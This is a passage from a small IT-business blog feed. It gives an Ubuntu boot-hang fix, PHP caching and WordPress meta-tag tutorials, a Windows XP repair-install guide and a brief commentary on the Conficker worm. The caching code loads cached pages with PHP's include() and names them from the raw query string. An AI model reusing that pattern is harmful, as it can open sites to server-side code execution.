<p>A couple of theories were the network manager was to blame, or that it had something to do with lightdm, one of Ubuntu&#8217;s xdisplay managers. I decided to try a combination of all of the advice to deal with the issue since following individual forums wasn&#8217;t working. <strong>This process requires the removal of network manager, while you should not lose network connectivity, it <em>is </em>possible. Go to <a  href="http://packages.ubuntu.com/oneiric/i386/network-manager/download" target="_blank">http://packages.ubuntu.com/oneiric/i386/network-manager/download</a> and from one of the mirrors download the network manager deb file.</strong> Save it on a removal drive that you will have handy during the process just in case.</p>
<p>Here&#8217;s the cocktail I used to fix my machine. <span style="color: #ff0000;">All commands will appear like this</span>. <span style="color: #000000;">Be sure to press enter after each command for you noobies.</span></p>
<ol>
<li>Boot it up and wait for it to hang on &#8220;Booting system without full network configuration.&#8221;</li>
<li>When it gets there press Ctrl+Alt+F1. You should get the shell prompt. See&#8230; the computer is loading, its just the GUI that can&#8217;t start because of a hangup somewhere.</li>
<li>Log in.</li>
<li>Switch to the root user by punching in &#8216;<span style="color: #ff0000;">sudo -i</span>&#8216; (no quotes). Enter your root password when prompted. For the noobies, the bash shell is a lot like telnet in that it won&#8217;t show you punching your password in. The cursor will just sit idle, but have no fear, it&#8217;s catching what your typing. Press enter after you&#8217;ve entered the password.</li>
<li>Now you have the command prompt as root@&lt;computername&gt;.  Remove the lightdm display manager.</li>
<ol>
<li>Type <span style="color: #ff0000;">apt-get purge lightdm</span>.</li>
</ol>
<li>Remove the network manager and all of its settings.</li>
<ol>
<li>Type <span style="color: #ff0000;">apt-get purge network-manager</span>.</li>
</ol>
<li>Remove the gnome display manager.</li>
<ol>
<li>Type <span style="color: #ff0000;">apt-get purge gdm</span></li>
</ol>
<li>Now we need to move some stuff around. /var/run has some stuff in it that is adding to the disruption so, we move it and re-link folders in the system so that we can boot correctly. Enter the following commands, pressing &#8216;enter&#8217; after each one.</li>
<ol>
<li><span style="color: #ff0000;">mv /var/run/* /run</span></li>
<li><span style="color: #ff0000;">rmdir /var/run</span></li>
<li><span style="color: #ff0000;">ln -s /run /var/run</span></li>
<li><span style="color: #ff0000;">ln -s /run/lock /var/lock</span></li>
</ol>
<li>Now let&#8217;s put everything back together. First we reinstall network manager.</li>
<ol>
<li><span style="color: #ff0000;">apt-get install network-manager</span></li>
<ol>
<li>If you are having a problem with this first type <span style="color: #ff0000;">dhclient eth0</span>. Eth0 is the default name of a ubuntu wired connection. If you have changed it, please enter the name you used instead. This will get you a new IP address. Once the process completes try 9A again.</li>
<li>If dhclient eth0 doesn&#8217;t fix it use the following steps to reinstall network-manager.</li>
<ol>
<li>Plug in your removable device. Wait 30 seconds</li>
<li>Type <span style="color: #ff0000;">ls -l /media</span> into the prompt</li>
<li>A list should appear with the name of your device on it.</li>
<li>Type <span style="color: #ff0000;">cd /media/&lt;THE NAME OF YOUR DEVICE EXACTLY AS IT APPEARS&gt;</span>. If there&#8217;s a space in your device&#8217;s name put /media/&lt;THE NAME OF YOUR DEVICE EXACTLY AS IT APPEARS&gt; in double quotes (<em>e.g. cd &#8220;/media/&lt;THE NAME OF YOUR DEVICE EXACTLY AS IT APPEARS&gt;&#8221;</em>).</li>
<li>Once your directory has changed, type <span style="color: #ff0000;">ls -l</span> again to get a list of all of the files on your device. I do this so I can see exactly how the file is named.</li>
<li>Type <span style="color: #ff0000;">dpkg -i &lt;package name exactly as it appears on the list&gt;</span>.</li>
<li>Network manager will reinstall. When it&#8217;s complete type <span style="color: #ff0000;">service network-manager start</span></li>
<li>Retry step 9A.</li>
</ol>
</ol>
</ol>
<li>Then we reload the gnome display manager</li>
<ol>
<li><span style="color: #ff0000;">apt-get install gdm</span></li>
</ol>
<li>Finally we reconfigure the display manager to ensure everything has been updated to move away from lightdm</li>
<ol>
<li><span style="color: #ff0000;">dpkg-reconfigure gdm</span></li>
</ol>
<li>Reboot</li>
<ol>
<li><span style="color: #ff0000;">reboot</span></li>
</ol>
</ol>
<p>Voila! That should do it!</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.totalcomputersusa.com/2011/10/ubuntu-11-10-booting-system-without-full-network-configuration/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Caching with PHP</title>
		<link>http://www.totalcomputersusa.com/2011/10/caching-with-php/</link>
		<comments>http://www.totalcomputersusa.com/2011/10/caching-with-php/#comments</comments>
		<pubDate>Tue, 11 Oct 2011 13:00:05 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[webDev]]></category>

		<guid isPermaLink="false">http://www.totalcomputersusa.com/?p=368</guid>
		<description><![CDATA[So you&#8217;ve written an awesome web-based application and it does absolutely EVERYTHING you need it to do &#8212; it pulls status updates from Facebook and Twitter, calls a database for your latest comments and contacts the Google API to make &#8230; <a href="http://www.totalcomputersusa.com/2011/10/caching-with-php/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>So you&#8217;ve written an awesome web-based application and it does absolutely EVERYTHING you need it to do &#8212; it pulls status updates from Facebook and Twitter, calls a database for your latest comments and contacts the Google API to make a cool map. The only problem is, you&#8217;re getting tons of traffic and the outbound calls on every page load are bogging down your server and the page is taking forever to load.</p>
<p>Enter the world of caching.</p>
<p><span id="more-368"></span></p>
<p>Caching basically saves all of the results of your dynamic functions in a static version of the page so that in times of high traffic everything you need is right on your server as static text.</p>
<p>The code:</p>
<pre class="wp-code-highlight prettyprint linenums:1">
  if(!function_exists('getCache')){
	function getCache($hours){
	##Finds if cache file exists and loads it on true

	$cachefile = 'cache/'.basename($_SERVER['PHP_SELF']); //filename from URL
	if ($_SERVER['QUERY_STRING']!='') { //accounts for ?
	  $cachefile .= '_'.base64_encode($_SERVER['QUERY_STRING']);
	}

	$cachetime = $hours * 60 * 60; // converts hours to seconds

	// Serve from the cache if it is younger than $cachetime
	if (file_exists($cachefile) &amp;&amp; (time() - $cachetime &lt; filemtime($cachefile))) {
	  include($cachefile);
	  echo &quot;&lt;!-- Cached &quot;.date('jS F Y H:i', filemtime($cachefile)).&quot; --&gt;&quot;;
	  exit;
	}

	//Delete from the cache if exists but is older than the cache time
	else if (file_exists($cachefile) &amp;&amp; (time() - $cachetime &gt;= filemtime($cachefile))){
		unlink($cachefile);
	}

	ob_start(); // start the output buffer
	}
  }
  if(!function_exists('buildCache')){
	function buildCache(){
	$cachefile = 'cache/'.basename($_SERVER['PHP_SELF']); //filename from URL
	if ($_SERVER['QUERY_STRING']!='') { //accounts for ?
	  $cachefile .= '_'.base64_encode($_SERVER['QUERY_STRING']);
	}

	$fp = fopen($cachefile, 'w+'); // open the cache file for writing
	fwrite($fp, ob_get_contents()); // save the contents of output buffer to the file
	fclose($fp); // close the file
	ob_end_flush(); // Send the output to the browser
  	}
  }
?&gt;
</pre>
<p>I manage and build my cache files with two basic functions. The first is getCache().</p>
<p>Simply copy and paste the above function at the top of your page (before anything else) or put it in an include library that you attach to your PHP script. Then call the function at the very top of your script.</p>
<pre class="wp-code-highlight prettyprint linenums:1">&lt;?php getCache('2'); ?&gt;</pre>
<p>The &#8217;2&#8242; is the number of hours I want to let my cache live for. We do this so that you always have recent data. In this case, the function will look for a cache file, if one exists it will look to see how old it is. If it is older than two hours it will delete the file and allow the dynamic parts of your script to execute, downloading fresh data for a new cache file.</p>
<p>At the very bottom of your script is where you place the function that builds the cache file. buildCache().</p>
<pre class="wp-code-highlight prettyprint linenums:1">&lt;?php buildCache(); ?&gt;</pre>
<p>buildCache() looks at everything that happened before after all of the dynamic processes have run. It stores the resulting page as a static HTML file so the next time it loads no calls outside of the server are made, causing a dramatic decrease in load time.</p>
<p>That&#8217;s it!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.totalcomputersusa.com/2011/10/caching-with-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Facebook meta tagging in WordPress</title>
		<link>http://www.totalcomputersusa.com/2011/10/facebook-meta-tagging-in-wordpress/</link>
		<comments>http://www.totalcomputersusa.com/2011/10/facebook-meta-tagging-in-wordpress/#comments</comments>
		<pubDate>Mon, 10 Oct 2011 23:18:01 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[webDev]]></category>

		<guid isPermaLink="false">http://www.totalcomputersusa.com/?p=355</guid>
		<description><![CDATA[Social networking has become the new &#8220;word-of-mouth&#8221; in the Internet age. People don&#8217;t &#8220;talk&#8221; about websites anymore, they &#8216;like&#8217; them. Nobody calls up their friend and says &#8220;hey, check out &#60;insert URL here&#62;,&#8221; they tweet it. So, how do you &#8230; <a href="http://www.totalcomputersusa.com/2011/10/facebook-meta-tagging-in-wordpress/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Social networking has become the new &#8220;word-of-mouth&#8221; in the Internet age. People don&#8217;t &#8220;talk&#8221; about websites anymore, they &#8216;like&#8217; them. Nobody calls up their friend and says &#8220;hey, check out &lt;insert URL here&gt;,&#8221; they tweet it. So, how do you make your website display the right images, headlines and descriptions when shared on one of the many popular social networks out there? Well, WordPress makes web design easy, and if you use the snippets below your social SEO will be too. </p>
<p><span id="more-355"></span></p>
<p>Everything below is accomplished with the use of &lt;meta&gt; tags which belong toward the top of the &lt;head&gt; tag. In a typical WordPress theme these are found in the header.php file.</p>
<p>It&#8217;s really easy to get the title of the page to display correctly so let&#8217;s get that out of the way. Defining that is achieved below.</p>
<pre class="wp-code-highlight prettyprint linenums:1">&lt;meta property=&quot;og:title&quot; content=&quot;TITLE GOES HERE&quot; /&gt;</pre>
<p>In a WordPress environment this is constantly changing and we want to style it so it looks good. The code below checks to see if the link is for the site&#8217;s homepage. If it is, it just displays the site&#8217;s name. Otherwise it displays the name of the page or post &#8212; on Facebook the site&#8217;s URL appears below it anyway so there&#8217;s no need to clutter up the meta tag.</p>
<pre class="wp-code-highlight prettyprint linenums:1">&lt;meta property=&quot;og:title&quot; content=&quot;&lt;?php if (!is_front_page()){ wp_title(''); } else{ bloginfo('name'); } ?&gt;&quot; /&gt;</pre>
<p>Then there&#8217;s the little bit of text that helps explain what&#8217;s on the page. You don&#8217;t want to make your visitors type that out themselves when they share it right? And you want it to say what <em>you</em> it to say. You can control what pops up there by using</p>
<pre class="wp-code-highlight prettyprint linenums:1">&lt;meta property=&quot;description&quot; content=&quot;DESCRIPTION GOES HERE&quot; ?&gt;</pre>
<p>In WordPress you can populate the description with the first words of a post/page/category, or its excerpt. How I do it below pulls a categories description when appropriate, checks for an excerpt for a page/post and if one doesn&#8217;t exist uses the first 300 characters from the post (HTML gets stripped) &#8212; otherwise it pulls the description for the site in general. This works with WP E-Commerce since the latest versions create products and categories via custom post types. </p>
<pre class="wp-code-highlight prettyprint linenums:1">&lt;meta name=&quot;description&quot; content=&quot;&lt;?php

//Description for category archive pages
if (is_category())
{
	$description = strip_tags(category_description($category));
	if (strlen($description) &gt; 300){
		print substr($description, 0, 297).'...';
	}
	else{
		print $description;
	}
}

//Description for single posts and pages
else if (is_single() || is_page())
while (have_posts()) : the_post();
{
	$description = strip_tags(get_the_excerpt('')); 

	if (strlen($description) &gt; 300){
		print substr($description, 0, 297).'...';
	}
	else{
		print $description;
	}
}
endwhile;

//Everything else

else if(is_front_page() || is_home()){
		;
}

else
{
	bloginfo('description');
}

?&gt;&quot; /&gt;</pre>
<p>Pictures are key. When you copy and paste a link into Google Plus, Facebook or any other social network you&#8217;re going to want a thumbnail to pop up. If it&#8217;s a blog post or an item you are selling, you&#8217;re going to want that thumbnail to be relevant. You can define the thumbnail in the &lt;head&gt; tag with one simple line of code.</p>
<pre class="wp-code-highlight prettyprint linenums:1">&lt;meta property=&quot;og:image&quot; content=&quot;IMAGE URL GOES HERE&quot; /&gt;</pre>
<p>FYI, each social network is different and will determine a different thumbnail size, but I try to keep the image at 150px X 150px.</p>
<p>I know what you&#8217;re thinking, sure, that&#8217;s helpful if I code each page by hand, but what about in a dynamic environment like WordPress? Well, I&#8217;ve got you covered there too. If you use the code below several things will happen. First, it will check to see the like is your site&#8217;s front page, or if there is no product/featured image defined. If either one of those conditions are true it will display a generic image. Then it will look to see if it&#8217;s a product page by WP E-Commerce &#8212; if it is, it will show the product&#8217;s thumbnail. Finally if it&#8217;s not the front page and it&#8217;s not a product then it will show the featured image from the post or page you&#8217;re linking to. Be sure to fill in a URL for your generic image between the quotes after $genericImage.</p>
<pre class="wp-code-highlight prettyprint linenums:1">&lt;?php
require('wp-admin/includes/plugin.php');
//OG:IMAGE
$genericImage = ''; //Enter the URL of the image to use in metadata if a thumbnail is NOT available
if(!is_front_page()){
	while (have_posts()) : the_post();
	{
		if(is_plugin_active('wp-e-commerce/wp-shopping-cart.php') &amp;&amp; wpsc_the_product_thumbnail()){ //OG:IMAGE FOR PRODUCTS
			print '&lt;meta property=&quot;og:image&quot; content=&quot;'.wpsc_the_product_thumbnail().'&quot; /&gt;';
		}
		else if(has_post_thumbnail()){ //OG:IMAGE FOR POSTS/PAGES
			print '&lt;meta property=&quot;og:image&quot; content=&quot;';
			$image_id = get_post_thumbnail_id();
 			$image_url = wp_get_attachment_image_src($image_id,'large');
   			$image_url = $image_url[0];
			print $image_url.'&quot; /&gt;';
		} 

		//USES A STATIC IMAGE IF POST DOESN'T HAVE A THUMBNAIL
		else
		{
			print '&lt;meta property=&quot;og:image&quot; content=&quot;'.$genericImage.'&quot; /&gt;';
		}
	}
	endwhile;
}
//USES A STATIC IMAGE ON THE FRONT PAGE
else{
	print '&lt;meta property=&quot;og:image&quot; content=&quot;'.$genericImage.'&quot; /&gt;';
}

?&gt;&quot;</pre>
<p>For the more savvy PHP programmers out there, you may have noticed I included </p>
<pre class="wp-code-highlight prettyprint linenums:1">require('wp-admin/includes/plugin.php'); </pre>
<p>at the top of the OG:IMAGE code. This is necessary to determine if WP e-Commerce is in use. If it&#8217;s not, the check for a product thumbnail will error out, so be sure to include this!</p>
<p>Now, obviously I don&#8217;t take the time to write this stuff out piecemeal every time I build a site. I have it all together in a file I have named fbmeta.php.</p>
<pre class="wp-code-highlight prettyprint linenums:1">
&lt;?php require('wp-admin/includes/plugin.php');
$genericImage = ''; //Enter the URL of the image to use in metadata if a thumbnail is NOT available
?&gt;

&lt;meta property=&quot;og:title&quot; content=&quot;&lt;?php if (!is_front_page()){ wp_title(''); } else{ bloginfo('name'); } ?&gt;&quot; /&gt;
&lt;meta name=&quot;description&quot; content=&quot;&lt;?php

//Description for category archive pages
if (is_category())
{
	$description = strip_tags(category_description($category));
	if (strlen($description) &gt; 300){
		print substr($description, 0, 297).'...';
	}
	else{
		print $description;
	}
}

//Description for single posts and pages
else if (is_single() || is_page())
while (have_posts()) : the_post();
{
	$description = strip_tags(get_the_excerpt('')); 

	if (strlen($description) &gt; 300){
		print substr($description, 0, 297).'...';
	}
	else{
		print $description;
	}
}
endwhile;

//Everything else

else if(is_front_page() || is_home()){
		;
}

else
{
	bloginfo('description');
}

?&gt;&quot; /&gt;

&lt;?php 

//OG:IMAGE
if(!is_front_page()){
	while (have_posts()) : the_post();
	{
		if(is_plugin_active('wp-e-commerce/wp-shopping-cart.php') &amp;&amp; wpsc_the_product_thumbnail()){ //OG:IMAGE FOR PRODUCTS
			print '&lt;meta property=&quot;og:image&quot; content=&quot;'.wpsc_the_product_thumbnail().'&quot; /&gt;';
		}
		else if(has_post_thumbnail()){ //OG:IMAGE FOR POSTS/PAGES
			print '&lt;meta property=&quot;og:image&quot; content=&quot;';
			$image_id = get_post_thumbnail_id();
 			$image_url = wp_get_attachment_image_src($image_id,'large');
   			$image_url = $image_url[0];
			print $image_url.'&quot; /&gt;';
		} 

		//USES A STATIC IMAGE IF POST DOESN'T HAVE A THUMBNAIL
		else
		{
			print '&lt;meta property=&quot;og:image&quot; content=&quot;'.$genericImage.'&quot; /&gt;';
		}
	}
	endwhile;
}
//USES A STATIC IMAGE ON THE FRONT PAGE
else{
	print '&lt;meta property=&quot;og:image&quot; content=&quot;'.$genericImage.'&quot; /&gt;';
}

?&gt;
</pre>
<p>Finally, 75+ lines of code is A LOT to put in a header file &#8212; it can be very confusing if you come back in 6 months to change something. So what I do is put the above code in a separate file, called fbmeta.php (you, of course, can name it whatever you want, just be sure to make the change in the code below) and I save the file in the active WordPress theme&#8217;s folder. Then I go into the theme&#8217;s header.php file and look for where it has meta tags. I check to make sure og:image, description and og:title aren&#8217;t in use (if they are I delete them) and I simply add </p>
<pre class="wp-code-highlight prettyprint linenums:1">&lt;?php include('fbmeta.php'); ?&gt;</pre>
<p>beneath the last meta tag.</p>
<p>Done! Enjoy.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.totalcomputersusa.com/2011/10/facebook-meta-tagging-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Performing a Repair Install for Windows XP</title>
		<link>http://www.totalcomputersusa.com/2009/08/performing-a-repair-install-for-windows-xp/</link>
		<comments>http://www.totalcomputersusa.com/2009/08/performing-a-repair-install-for-windows-xp/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 01:39:44 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[PC]]></category>

		<guid isPermaLink="false">http://www.totalcomputersusa.com/?p=140</guid>
		<description><![CDATA[Blog and Tutorial by TC McCarthy Windows XP is currently the most stable operating system (OS) created by Microsoft (Vista? Let&#8217;s not joke.) And while many aficionados do anxiously await the October 2009 release of Windows 7, it&#8217;s not here &#8230; <a href="http://www.totalcomputersusa.com/2009/08/performing-a-repair-install-for-windows-xp/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><em>Blog and Tutorial by TC McCarthy</em></p>
<div id="attachment_141" class="wp-caption alignleft" style="width: 310px"><img class="size-medium wp-image-141" title="BSOD" src="http://www.totalcomputersusa.com/wp-content/uploads/2009/08/BSOD-300x202.gif" alt="Repair installs can often fixed corrupt driver issues that cause the legendary Blue Screen of Death" width="300" height="202" /><p class="wp-caption-text">Repair installs can often fixed corrupt driver issues that cause the legendary Blue Screen of Death</p></div>
<p>Windows XP is currently the most stable operating system (OS) created by Microsoft (Vista? Let&#8217;s not joke.) And while many aficionados do anxiously await the October 2009 release of Windows 7, it&#8217;s not here yet.</p>
<p>Being the most stable, however, does not make it infallable&#8230; after all it does run on a computer. So what does one do when this OS renowned for it&#8217;s stability becomes unstable? You repair it.<br />
<span id="more-140"></span><br />
A repair install of an operating system can fix a corrupt registry, repair a boot record, or even establish the geography of a new drive that you just migrated your data to.</p>
<p>Does your computer continuously reboot itself on startup? Repair install. Is it acting weird after it lost power half way through an update? Repair install. Does it not turn on after being thrown down a flight of stairs? Well&#8230; I won&#8217;t lie&#8230; a repair install isn&#8217;t <em>that</em> effective.</p>
<p>It&#8217;s also smart to run a repair install after running a super-powered malware cleaner (like Combofix) to restore those very important DLLs that combofix no-doubtedly wiped out along with your virus. I know what your thinking &#8220;Enough already, get to the friggin tutorial&#8230; my computer isn&#8217;t working!&#8221;</p>
<p>Before we begin, let me say that the following tutorial assumes that the damaged (or otherwise in need of repair) Windows installation is located at C:\Windows. If you are not an advanced user, don&#8217;t worry&#8230; chances are this is where it is. If you are an advanced user, or if you know this isn&#8217;t where it is, just be sure to pay attention.</p>
<p>So&#8230; here it is:</p>
<ol>
<li>You will need a Windows XP Setup disc. Find yours and be sure to have your 25 character CD Key handy (you may or
<div id="attachment_142" class="wp-caption alignright" style="width: 310px"><img class="size-medium wp-image-142" title="IMAGE_081" src="http://www.totalcomputersusa.com/wp-content/uploads/2009/08/IMAGE_081-300x225.jpg" alt="The above condition is virtually irreparable without a repair install. Either an important system file is missing, or the computers registry (it's index of EVERYTHING) is pointing the wrong spot. Either way, a repair install is probably the least complicated route of repair." width="300" height="225" /><p class="wp-caption-text">The above condition is virtually irreparable without a repair install. Either an important system file is missing, or the computers registry (it&#39;s index of EVERYTHING) is pointing the wrong spot. Either way, a repair install is probably the least complicated route of repair.</p></div>
<p>may not need it.) Boot your computer with the install CD in the drive. Be sure to tell your BIOS to boot off of the CD. If you are unsure how to do this look at the first screen you see&#8230; usually it bears the logo of your computer&#8217;s manufacturer. Somewhere on that screen it should say something like &#8220;F12 to enter boot menu.&#8221; If you don&#8217;t see it, try F12 or F10&#8230; or Google it.</li>
<li>Once you have completed step one a message should appear that says &#8220;Press any key to boot from CD or DVD&#8230;&#8221; Press enter. (If you don&#8217;t see this you may a quick screen that says &#8220;Setup is inspecting your computers configuration&#8221;&#8230; keep going if you see this).</li>
<li>Set up will start loading up the necessary drivers (i.e.&#8221;Press F6 for automated setup&#8230; yada yada yada&#8221;). Once the CD loads up it will display a &#8220;Welcome to Windows XP Setup&#8221; screen. Press &#8216;R&#8217;.</li>
<li>Wait approximately 15 seconds and then enter the number that corresponds with the line &#8220;C:\Windows&#8221; (Typically 1.). Press enter.</li>
<li>Once you get into the command prompt type &#8220;bootcfg /rebuild&#8221; (no quotes). Press Enter.</li>
<li>Wait a couple of minutes and then it will ask you if you want to add &#8220;X&#8221; installation to the boot list. If the installation displayed is not C:\Windows type &#8216;N&#8217;. Press Enter. If it is &#8220;C:\windows&#8221; press &#8216;Y&#8217; and hit enter.</li>
<li>After you have hit Y it will ask you for a &#8220;Load Identifier&#8221;. Type &#8220;Microsoft Windows XP Professional&#8221; (no quotes).</li>
<li>Then it will ask you to enter Load option. type &#8220;/fastdetect&#8221; (no quotes).</li>
<li>Type exit. The computer will restart.</li>
<li>Repeat steps 1 and 2 (for step 1 you should already have the disc, so don&#8217;t worry about getting up to look for it).</li>
<li>Once the same &#8220;Welcome to Windows XP Setup&#8221; screen loads up press enter.</li>
<li>Press F8 to accept the license agreement.</li>
<li>C:\windows should now appear on a list of &#8220;Previously installed versions of Windows&#8221;. Select the one you want to repair and press &#8216;R&#8217;.</li>
<li>The repair should begin. This will delete your system shell (just the core stuff, your programs and files will remain in tact). Once this is done it will begin copying files. These are fresh copies of all the files you need to run windows. Once the copying has completed the computer will count down from 15 and reboot. From there a prettier setup screen should load. Be sure to have your license key handy, as you may need it.</li>
<li>Just follow the on screen prompts and once the install is complete you should be done! XP Repaired. Enjoy.</li>
</ol>
<p>Just to note if the above does not fix whatever problem you are experiencing, you can always use the same CD to reformat your hard drive and start from scratch. Whatever the problem is&#8230; if it is software based a reformat will fix it. <strong></strong></p>
<p><strong><span style="color: #ff0000;">WARNING</span></strong>: A reformat of your hard drive will ERASE ALL of your DATA, so if your files are important to you I suggest navigating to the &#8216;<a  href="/contact">contact</a>&#8216; page and contacting us.</p>
<p>Just a note for those of you who complete a repair install, you will need to run windows update again. All of the files that you patched and updated have been replaced by their originals off of your install CD, so for the sake of security go to <a  href="http://update.microsoft.com" target="_blank">http://update.microsoft.com</a> and do a Windows Update.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.totalcomputersusa.com/2009/08/performing-a-repair-install-for-windows-xp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>W32.Confickr</title>
		<link>http://www.totalcomputersusa.com/2009/04/w32confickr/</link>
		<comments>http://www.totalcomputersusa.com/2009/04/w32confickr/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 05:26:49 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[PC]]></category>

		<guid isPermaLink="false">http://totalcomputersusa.wordpress.com/2009/04/02/w32confickr/</guid>
		<description><![CDATA[So I spent much of last night researching this Conficker virus. I wanted to try and figure out how to prevent it and how to kill it. I figured there was so much hype about the fourth version of this &#8230; <a href="http://www.totalcomputersusa.com/2009/04/w32confickr/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div id="attachment_324" class="wp-caption alignleft" style="width: 310px"><a  href="http://jrn320tmccarthy.files.wordpress.com/2009/04/100562_connfikkker.jpg" class="thickbox no_icon" title="Confickr"><img class="size-medium wp-image-324" title="Confickr" src="http://jrn320tmccarthy.files.wordpress.com/2009/04/100562_connfikkker.jpg?w=300" alt="An Illustration on how Conficker spreads" width="300" height="197" /></a><p class="wp-caption-text">An Illustration on how Conficker spreads</p></div>
<p>So I spent much of last night researching this Conficker virus. I wanted to try and figure out how to prevent it and how to kill it. I figured there was so much hype about the fourth version of this nuisance it was worth looking in to.<span id="more-39"></span></p>
<p>Snorefest.</p>
<p>It was very dramatic coverage on the part of CBS that got my attention, but as it would turn out any Windows  based computer that has performed a critical update since October 2008 would have been safe from this worm.</p>
<p>Essentially the bug exploited a flaw in the Windows framework that would give its creators use of a remote computer. It is then assumed that computer would be made into a drone that would forward spam, the worm or be an accessory to identity theft. According to an article by the Associated Press</p>
<blockquote><p><em>The worm can take control of unsuspecting PCs running Microsoft&#8217;s Windows operating system. Tied together into a &#8220;botnet,&#8221; these PCs can be directed to send spam, carry out identity-theft scams and bring down Web sites by flooding them with traffic.</em></p></blockquote>
<p>A botnet is simply a network of computers, located in different places around the world, that are brought together by a bug such as Conficker. Apparently, techs from various security companies dissected the code to find that the bug was going to &#8220;phone home&#8221; on April 1st. Essentially the worm is really only able to infect any computers that haven&#8217;t performed an update since October. . . namely pirated versions of Windows that get denied access to the Microsoft Update site.</p>
<p>The current symptoms of the bug here in the U.S. are currently a simple blockage of access to various security sites (Microsoft, Trend Micro, Symantec etc.) If you are experiencing these symptoms I recommend you try to clean it out yourself or call a qualified Windows professional (I recommend www.totalcomputersusa.com).</p>
<p>So in the end, if you are running an up to date virus scanner and have automatic updates enabled on your computer you are safe from this bug. What is scary is that such a simple measure apparently was not taken by CBS Networks. . . I wonder if they have any new job openings. . .  perhaps in the IT department?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.totalcomputersusa.com/2009/04/w32confickr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Video: Building a Computer</title>
		<link>http://www.totalcomputersusa.com/2009/03/video-building-a-computer/</link>
		<comments>http://www.totalcomputersusa.com/2009/03/video-building-a-computer/#comments</comments>
		<pubDate>Sun, 22 Mar 2009 16:29:46 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://totalcomputersusa.wordpress.com/?p=19</guid>
		<description><![CDATA[The idea of assembling a computer is often overcomplicated to the inexperienced. The video above is the least time consuming, and least frustrating way in which Total Computers U.S.A. assembles the computers purchased by its customers.]]></description>
			<content:encoded><![CDATA[<p style="text-align:center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="340" height="285" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube-nocookie.com/v/D0k0QqTYY6Q&amp;hl=en&amp;fs=1&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;border=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="340" height="285" src="http://www.youtube-nocookie.com/v/D0k0QqTYY6Q&amp;hl=en&amp;fs=1&amp;color1=0x3a3a3a&amp;color2=0x999999&amp;border=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p style="text-align:left;">The idea of assembling a computer is often overcomplicated to the inexperienced. The video above is the least time consuming, and least frustrating way in which Total Computers U.S.A. assembles the computers purchased by its customers.</p>
<p style="text-align:center;">
]]></content:encoded>
			<wfw:commentRss>http://www.totalcomputersusa.com/2009/03/video-building-a-computer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Boot Camp &#8212; A How To</title>
		<link>http://www.totalcomputersusa.com/2009/03/boot-camp-a-how-to/</link>
		<comments>http://www.totalcomputersusa.com/2009/03/boot-camp-a-how-to/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 16:28:47 +0000</pubDate>
		<dc:creator>TC McCarthy</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Mac]]></category>

		<guid isPermaLink="false">http://totalcomputersusa.wordpress.com/?p=17</guid>
		<description><![CDATA[2. You can try to find the beta download of Boot Camp for OSX Tiger. If you have Leopard it will be built in. 3. Run Boot Camp from Applications -&#62; Utilities 4. Set your partition size and pop in &#8230; <a href="http://www.totalcomputersusa.com/2009/03/boot-camp-a-how-to/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align:center;"><object width="340" height="285"><param name="movie" value="http://www.youtube-nocookie.com/v/zOZjHywg3Bc&#038;hl=en&#038;fs=1&#038;color1=0x3a3a3a&#038;color2=0x999999&#038;border=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/zOZjHywg3Bc&#038;hl=en&#038;fs=1&#038;color1=0x3a3a3a&#038;color2=0x999999&#038;border=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="340" height="285"></embed></object></p>
<p>2. You can try to find the beta download of Boot Camp for OSX Tiger. If you have Leopard it will be built in.</p>
<p>3. Run Boot Camp from Applications -&gt; Utilities</p>
<p>4. Set your partition size and pop in your version of Windows XP (Must be SP2 SP1 and SP3 are currently incompatible)</p>
<p>5. Let windows install.</p>
<p>6. Pop in your OSX Leopard Disc 1 once Windows comes up. This will auto-install all of the necessary drivers for you. (Sound, video, wifi, network, camera, keyboard etc.)</p>
<p>7. Use your Computer.</p>
<p><span id="more-34"></span></p>
<p style="text-align:center;">[youtube=http://www.youtube.com/watch?v=ClhRk0dTIwg]</p>
]]></content:encoded>
